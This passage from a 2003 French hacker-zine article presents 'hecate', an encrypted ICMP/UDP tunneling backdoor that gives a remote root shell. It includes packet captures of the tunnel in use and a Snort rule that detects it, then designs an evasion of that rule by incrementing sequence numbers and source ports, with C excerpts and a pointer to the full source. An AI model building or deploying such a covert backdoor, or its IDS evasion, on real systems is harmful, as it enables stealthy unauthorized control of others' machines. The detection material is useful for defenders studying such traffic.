examnier le trafic et regarder le contenu des paquets.



1. Le Dialogue PING/PONG :
__________________________


Si je me ping en local, j'obtiens avec tcpdump :

tcpdump: listening on lo
23:54:37 067163 neolab > neolab: icmp: echo request (DF) (ttl 64, id 0, len 84)
23:54:37 067195 neolab > neolab: icmp: echo reply (ttl 255, id 9831, len 84)


Maintenant, en utilisant hecate en local, avec l'ICMP :

tcpdump: listening on lo
23:54:38 627164 neolab > neolab: icmp: echo request (DF) (ttl 64, id 6372, len 31)
23:54:38 067195 neolab > neolab: icmp: echo reply (ttl 255, id 9832, len 31)
23:54:38 067356 neolab > neolab: icmp: echo reply (ttl 64, id 3526, len 164)

On voit deux echo reply pour un echo request. Le 2nd PONG est enfait émis par le
kernel qui répond au PING du client hecate. Le PONG retourné par le serveur est
lui d'une taille plus importante (len 164) puisqu'il contient l'affichage retour.




2. Avec UDP :
_____________


neloab# ./client -p udp -t 127.0.0.1 -d 777
-+ ICMP/UDP Crypted Tunneling Tool -by IOC Team, 2003 +-
Using UDP ...
[hecate ~1]# ls
client
client.c
hecate.h
server
server.c
etc ...
[hecate ~2]#

et en sniffant:
neolab# tcpdump -i lo udp -X

22:16:49.033186 localhost.localdomain.666 > localhost.localdomain.777: udp 2808 (DF)
0x0000 4500 001f 0000 4000 4011 3ccc 7f00 0001 E.....@.@.<.....
0x0010 7f00 0001 029a 0309 0b00 0000 cdd2 ab ...............
22:16:49.042124 localhost.localdomain.666 > localhost.localdomain.56401: udp 27640
0x0000 4500 0080 5037 0000 ff11 6d33 7f00 0001 E...P7....m3....
0x0010 7f00 0001 029b dc51 6c00 0000 c2cd c8c4 .......Ql.......
0x0020 cfd5 abc2 cdc8 c4cf d58f c2ab c9c4 c2c0 ................
0x0030 d5c4 8fc9 abc8 ......

Dans l'exemple le port de destination de la requette a été fixé à 777,
sinon, il est aléatoire.







3. Test sur eth0 :
__________________


Test réalisé par Emepr0r :

La machine A 192.168.0.1 execute le serveur et la machine B 192.168.0.4
le client. Aprés avoir lancé le serveur sur A, je lance le client sur B.

# ./client -t 192.168.0.1 -p icmp
-+ ICMP/UDP Crypted Tunnel - IOC Team, 2003 +-
interactive shell, root priviliges allowed
using ICMP ...
hecate ~1# ls -al
total 64
drwxrwxr-x 2 emper0r emper0r 4096 jun 2 15:01 .
drwx--x--x 38 emper0r emper0r 4096 jun 2 15:00 ..
-rwxrwxr-x 1 emper0r emper0r 18524 jun 2 14:55 a.out
-rw-r--r-- 1 emper0r emper0r 7987 jun 1 22:05 client.c
-rw-r--r-- 1 root root 0 jun 2 15:03 dump
-rw-r--r-- 1 emper0r emper0r 9971 jun 1 21:31 hecate.h
-rw-rw-r-- 1 emper0r emper0r 7293 jun 2 14:54
projet.01-06-2003.newupdate.tar.gz
-rw-rw-r-- 1 emper0r emper0r 5178 jun 1 21:31 server.c
hecate ~2# turnoff
turning server off
2 Packet(s) sent, 1 Packet(s) recieved
closing client, Bye.


Dump a partir de la machine A :
# tcpdump -i eth0 -X -m -N
15:03:42.827674 192.168.0.4 > 192.168.0.1: icmp: echo request (DF)
0x0000 4500 0023 0000 4000 4001 b984 c0a8 0004 E..#..@.@.......
0x0010 c0a8 0001 0800 0000 0000 029a cdd2 818c ................
0x0020 c0cd ab00 0000 0000 0000 0000 0000 ..............

15:03:42.852931 192.168.0.1 > 192.168.0.4: icmp: echo reply (DF)
0x0000 4500 0233 0000 4000 4001 b774 c0a8 0001 E..3..@.@..t....
0x0010 c0a8 0004 0000 0000 0000 029a d5ce d5c0 ................
0x0020 cd81 9795 abc5 d3d6 d9d3 d6d9 d38c d981 ................
0x0030 8181 8193 81c4 ccd1 c4d3 91d3 8181 c4cc ................
0x0040 d1c4 d391 d381 8181 8181 8195 9198 9781 ................
0x0050 cbd4


Dump a partir de la machine B :
# tcpdump -i eth0 -X -m -N
tcpdump: listening on eth0
14:59:17.375955 192.168.0.4 > 192.168.0.1: icmp: echo request (DF)
0x0000 4500 0023 0000 4000 4001 b984 c0a8 0004 E..#..@.@.......
0x0010 c0a8 0001 0800 0000 0000 029a cdd2 818c ................
0x0020 c0cd ab
...
14:59:17.401852 192.168.0.1 > 192.168.0.4: icmp: echo reply (DF)
0x0000 4500 0233 0000 4000 4001 b774 c0a8 0001 E..3..@.@..t....
0x0010 c0a8 0004 0000 0000 0000 029a d5ce d5c0 ................
0x0020 cd81 9795 abc5 d3d6 d9d3 d6d9 d38c d981 ................
0x0030 8181 8193 81c4 ccd1 c4d3 91d3 8181 c4cc ................
0x0040 d1c4 d391 d381 8181 8181 8195 9198 9781 ................

15:00:09.347805 192.168.0.4 > 192.168.0.1: icmp: echo request (DF)
0x0000 4500 0024 0000 4000 4001 b983 c0a8 0004 E..$..@.@.......
0x0010 c0a8 0001 0800 0000 0000 029a d5d4 d3cf ................
0x0020 cec7 c7ab ....






4. Le Cryptage :
________________


Voici un dump des paquets émis par une version antérieure d'hecate
suivi d'un dump des paquets de la version implémentant le cryptage.
Le test était effecuté en local, et la commande était 'finger' :


Avant cryptage:

20:59:35.965480 neolab > neolab: icmp: echo request (DF) (ttl 64, id 0, len 55)
0x0000 4500 0037 0000 4000 4001 3cc4 7f00 0001 E..7..@.@.<.....
0x0010 7f00 0001 0800 0000 0000 029a 6669 6e67 ............fing
0x0020 6572 0a00 0000 0000 0000 0000 0000 0000 er..............
0x0030 0000 0000 0000 ......
[...]
20:59:36.127889 neolab > neolab: icmp: echo reply (DF) (ttl 64, id 0, len 307)
0x0000 4500 0133 0000 4000 4001 3bc8 7f00 0001 E..3..@.@.;.....
0x0010 7f00 0001 0000 0000 0000 029a 4c6f 6769 ............Logi
0x0020 6e20 2020 2020 4e61 6d65 2020 2020 2020 n.....Name......
0x0030 2054 7479 2020 .Tty..a



Après cryptage:

22:28:21.663582 neolab > neolab: icmp: echo request (DF) (ttl 64, id 0, len 35)
0x0000 4500 0023 0000 4000 4001 3cd8 7f00 0001 E..#..@.@.<.....
0x0010 7f00 0001 0800 0000 0d96 029a c3cc cbc2 ................
0x0020 c0d7 af ...
[...] ...
22:28:21.733587 neolab > neolab: icmp: echo reply (DF) (ttl 64, id 0, len 366)
0x0000 4500 016e 0000 4000 4001 3b8d 7f00 0001 E..n..@.@.;.....
0x0010 7f00 0001 0000 0000 0d51 029a e9ca c2cc .........Q......
0x0020 cb85 8585 8585 ebc4 c8c0 8585 8585 8585 ................
0x0030 85f1 d1dc 8585 ......


On voit trés clairement que la commande comme l'affichage retour qui
étaient visibles avant ne le sont plus depuis que le cryptage est utilisé.
J'ai délibérement oté des lignes cï-dessus la réponse PONG du kernel.







5. Détection :
______________


Emper0r m'a montré une règle de l'IDS snort permettant de détecter
l'utilisation d'hecate sur son réseau :

alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"BACKDOOR HECATE";
classtype:misc-activity; itype:0; icmp_id:0; icode:0; icmp_seq:666;)


# cat /var/log/snort/alert
[**] [1:0:0] BACKDOOR HECATE [**]
[Classification: Misc activity] [Priority: 3]
06/02-17:35:45.158369 192.168.0.1 -> 192.168.0.4
ICMP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:101 DF
Type:0 Code:0 ID:0 Seq:666 ECHO REPLY



Il s'agit simplement ici de détecter un seqnum 666. Donc on ne va détecter
que notre trafic ICMP backdooré. On pourrait étendre ça à l'UDP avec un
check du port source. Biensur, vu comme ça, c'est pas une protection terrible,
puisque ça ne marche plus si on utilise une autre valeur. Mais imaginez un IDS
(et ça doit se trouver) qui donne l'alerte s'il détecte un trafic étrange, comme
l'utilisation d'un même port source plusieurs fois de suite, ou des ICMP seqnum
identiques fréquement échangés ...

La solution serait ne pas avoir deux datagrames similaires, d'opter pour une
construction de paquets trés différents. Comment ? en utilisant des valeurs
aléatoires pour les champs id, seqnum, source, dest ...
Pour id et dest c'est faisable, mais n'oublions pas que les autres champs
nous servent à différencier nos paquets du trafic régulier.

Si on demande au client de forger un datagrame ICMP avec un seqnum aléatoire,
le serveur à l'autre bout ne saura pas quelle valeur nous avons attribué à
ce seqnum, et ne saura par quel seqnum est désigné le bon datagrame. Donc
si le seqnum de même que le port source UDP sont générés aléatoirement,
il sera impossible de faire dialoguer le client avec le serveur.




6. Incrémentation :
___________________


Une solution serait donc d'incrémenter le magic_num régulièrement, en
partant d'un magic_num de base. On incrémenterait ensuite le magic_num
ainsi : magic_num += i;


[ Fonctionnement ]

Il nous faut définir des règles de fonctionnement, une marche à suivre pour
ne pas se mélanger les pinceaux. Ces règles seront les suivantes :


1. Le Client émet un paquet avec magic_num et incrémente magic_num.
Le Client s'attend donc à reçevoir un paquet avec magic_num + i

2. Le Server reçoit un magic_num et l'incrémente. Il émet donc un
magic_num + i et s'attend à recevoir un magic_num + 2i.

3. Si aucours du dialogue, le server recoit un paquet avec un
magic_num

Ce troisième point permet d'éviter un problème. En effet, si le server
s'attendait à recevoir un magic_num + 10i par exemple, et que le client
était redémarré, pour utiliser un autre protocol, il recommençerait à
envoyer la valeur de base du magic_num, et non magic_num +9i ce qui
l'empecherait de communiquer. Donc dansi un tel cas de figure, la valeur
du magic_num est réinitialisée.



[ En pratique ]

Désolé si mes propos sont confus, mais en voici l'utilité en pratique.
Puisque nous avons un magic_num incrémenté à chaque paquet, cela donne
un port source ou un icmp seqnum différent d'un paquet à l'autre.

Voici un Dump en utilisant udp et un port source incrémenté en prenant
comme valeur de base la valeur par défaut 666 :

22:22:28.091932 127.0.0.1.666 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:28.099059 127.0.0.1.671 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.106819 127.0.0.1.671 > 127.0.0.1.2132: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.291524 127.0.0.1.676 > 127.0.0.1.9158: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:28.297754 127.0.0.1.681 > 127.0.0.1.9158: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.470823 127.0.0.1.686 > 127.0.0.1.39017: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:28.477028 127.0.0.1.691 > 127.0.0.1.39017: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.629612 127.0.0.1.696 > 127.0.0.1.18547: udp 2040 (DF) (ttl 64, id 0, len 29)

On voit que le port source des datagrams est incrémenté de 5 et 5 tandis que le
port de destination est aléatoire. Au passage, ici le header IP est forgé par le
kernel car l'adresse source n'est pas spoofée, ce qui a pour conséquence visibles
dans ce dump, les ttl 64 et le champ id laissé à 0.

Lorsqu'on quitte le client, puis qu'on l'exécute à nouveau, le serveur distant
s'attend à recevoir un paquet avec un magic_num incrémenté dans la suite logique
des paquets qu'il a reçu juste avant. Or on vient de relançer le server avec
une valeur de base, et le magic_num du client ne correspond plus à celui du
serveur. Voici ce qui se passe :


22:22:28.635228 127.0.0.1.701 > 127.0.0.1.18547: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:28.830121 127.0.0.1.706 > 127.0.0.1.56401: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:28.836168 127.0.0.1.711 > 127.0.0.1.56401: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:29.028915 127.0.0.1.716 > 127.0.0.1.23807: udp 2040 (DF) (ttl 64, id 0, len 29)
22:22:29.035551 127.0.0.1.721 > 127.0.0.1.23807: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:38.239215 127.0.0.1.666 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 29) <= ici on a redémarré le client
22:22:38.246272 127.0.0.1.671 > 127.0.0.1.10232: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:38.254296 127.0.0.1.671 > 127.0.0.1.37962: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:38.259728 127.0.0.1.676 > 127.0.0.1.8987: udp 2040 (DF) (ttl 64, id 0, len 28)
22:22:38.264885 127.0.0.1.681 > 127.0.0.1.22764: udp 2040 (DF) (ttl 64, id 0, len 28)

Dans ce cas de figure, lorsque le serveur reçoit un magic_num de base, ici 666
par défaut, il reset le compteur, et recommençe à incrémenter à partir de celui-ci.
On voit que le dialogue reprend avec une incrémentation régulière. On voit également
que ça déconne au premier paquet reçu (requete et réponse émises avec le même port
source 671). Il faut en effet un premier échange de paquets pour que les deux magic_num
client et serveur se synchronisent.


Comme on est curieux, on va regarder ce qui se passe lorsque la valeur du
magic_num incrémenté dépasse 65536. On incrémente pour l'exemple de 5 en 5 :

22:23:30.052001 127.0.0.1.65525 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 29)
22:23:30.058674 127.0.0.1.65530 > 127.0.0.1.17767: udp 2040 (DF) (ttl 64, id 0, len 28)
22:23:30.298256 127.0.0.1.65535 > 127.0.0.1.9158: udp 2040 (DF) (ttl 64, id 0, len 29)
22:23:30.303937 127.0.0.1.4 > 127.0.0.1.9158: udp 2040 (DF) (ttl 64, id 0, len 28)
22:23:30.503833 127.0.0.1.9 > 127.0.0.1.39017: udp 2040 (DF) (ttl 64, id 0, len 29)
22:23:30.509529 127.0.0.1.14 > 127.0.0.1.39017: udp 2040 (DF) (ttl 64, id 0, len 28)
22:23:30.694597 127.0.0.1.19 > 127.0.0.1.18547: udp 2040 (DF) (ttl 64, id 0, len 29)
22:23:30.700159 127.0.0.1.24 > 127.0.0.1.18547: udp 2040 (DF) (ttl 64, id 0, len 28)
22:23:30.893475 127.0.0.1.29 > 127.0.0.1.56401: udp 2040 (DF) (ttl 64, id 0, len 29)

une fois que 65536 est atteint, le magic_num repart de 0, et le dialogue se
poursuit. De toute manière, à moins de spécifier un magic_num de base genre
"-m 65525" comme j'ai fait pour l'exemple, ça devrait pas arriver souvent.



[ Le code ]

Le code a été un peu modifié, enfait quelques compteurs bien plaçés auront suffit.
Voici un extrait du client :



-------8<-----------------------------------------------------------------------
/*
* SEND UDP DGRAM
*/

if(proto == IPPROTO_UDP)
{
if((send_UDP(dest_port, src_port, server_addr, client_addr, crypted_cmd, spoof)) == -1){
perror("send_UDP()");
return -1;
}

magic_num +=i;
src_port = magic_num;

-------8<-----------------------------------------------------------------------

Pour l'UDP le server envoit le magic_num comme source, puis il l'incrémente.
Il réagiera donc à un datagrame ayant le magic_num envoyé + i.

Pour le serveur et l'ICMP même chose :

-------8<-----------------------------------------------------------------------

/* reset magic_num counter */
if(icmp->seq == htons(base_num))
magic_num = base_num;

if(icmp->type == ICMP_ECHO && icmp->seq == htons(magic_num))
{
magic_num+=i;
seqnum = magic_num;

/* ... */

send_ICMP(ICMP_ECHOREPLY, seqnum, client_addr, server_addr, crypted_data, 0);

magic_num+=i;
seqnum = magic_num;
}
-------8<-----------------------------------------------------------------------

Le magic_num reçu en seqnum est incrémenté, on PONG avec la nouvelle valeur,
et on incrémente à nouveau.







A N N E X E
___________

Vous trouverez le code complet hecate.v1.0.tar.gz joint à ce mag.
Vous trouverz également cette archive sur notre site, probablement,
rootshell.be/~ioc/releases tant que rootshell est pas down.
Attention, N'UTILISEZ PAS cet outil afin de backdoorer une autre
machine que la votre, vous êtes seuls responsables de ce que vous
ferez de ce code.


[ See also ]

[+]- 007Shell.c v.1.0 by FuSy
[+]- CRH#9 by Team CodeZero, 11th May 1998





Conclusion :
____________

Je voudrais remercier dans le désordre pour l'idée, le code, les conseils,
la doc et les tests : Emper0r, MeiK, Li0n7, Ins (A poil !!), Ciel, Anonymous,
ce bon vieux toto, ainsi que ceux qui auraient testé le code pour nous et
dont j'aurais oublié le pseudo.

Voila ... le dernier article auquel j'aurais pris part pour IOC Magazine,
ce numéro étant probablement le dernier de la série. Ca fait bizzare, ce
fut bien sympa en tout cas ... A une prochaine fois !




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